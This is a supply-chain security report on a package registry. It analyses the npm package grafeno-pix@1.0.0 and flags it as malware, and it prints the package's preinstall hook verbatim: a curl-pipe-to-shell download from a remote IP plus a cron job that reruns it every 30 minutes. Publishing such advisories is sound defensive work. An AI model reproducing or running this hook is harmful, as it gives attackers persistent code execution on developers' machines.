registry / Install hook abuse / grafeno-pix

grafeno-pix

PIX integration for Grafeno

This report shows the evidence for grafeno-pix@1.0.0. 2 of 2 known versions are blocked or flagged. The newest version, 1.0.1, is blocked. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

This is concrete unconsented install-time remote code execution with persistence. The harmless runtime stub does not mitigate the lifecycle attack.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation, before the package is installed.

Impact

Arbitrary code from the remote host can run as the installing user and recur every 30 minutes.

Mechanism

Preinstall remote shell execution plus cron persistence.

Attack narrative

The package's preinstall hook invokes curl and pipes the downloaded script into a shell. It then modifies the installing user's crontab to repeat that remote execution every 30 minutes. Both operations suppress errors, and execution occurs without an explicit user command beyond package installation.

AI rationale

This is concrete unconsented install-time remote code execution with persistence. The harmless runtime stub does not mitigate the lifecycle attack.

Evidence

package.jsonindex.js

Network endpoints1

216.126.236.46/x.sh

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The preinstall hook downloads and executes a shell script from an IP address.
The hook installs a cron job that reruns the remote script every 30 minutes.
Errors are suppressed, concealing failed execution and persistence attempts.

Evidence against

The runtime entry point only exports a minimal payment stub.
No additional package source files were present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

Manifest

NoLicense

scanned 1 file(s), 63 B of source

Source & flagged code

4 flagged

package.jsonView file

•scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \"*/3...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "node -e \"const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \\\"*/30 * * * * curl -s 216.126.236.46/x.sh|sh\\\")|crontab -',{shell:'/bin/bash'})}catch(c){}\""

High

Suspicious Lifecycle Evidence

The preinstall hook downloads and executes a shell script from an IP address.

package.jsonView on unpkg · L7

High

Ai Review Evidence

The hook installs a cron job that reruns the remote script every 30 minutes.

package.jsonView on unpkg · L7

Source & flagged code

4 flagged · loading source

package.jsonView file

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

High

Suspicious Lifecycle Evidence

The preinstall hook downloads and executes a shell script from an IP address.

package.jsonView on unpkg · L7

Findings

1 Critical3 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepackage.json

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to grafeno-pix@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing grafeno-pix@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-29 02:00:45.682Z (UTC).

Source advisory published: 2026-08-28 23:01:11.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

1.0.1latestMaliciousMalwareBlockPublishedAug 28, 2026, 11:05 PM 1.0.0shownMaliciousInstall Hook AbuseBlockPublishedAug 28, 2026, 10:48 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other install hook abuse packages

Behavioral surface

Source & flagged code

Related packages

Other install hook abuse packages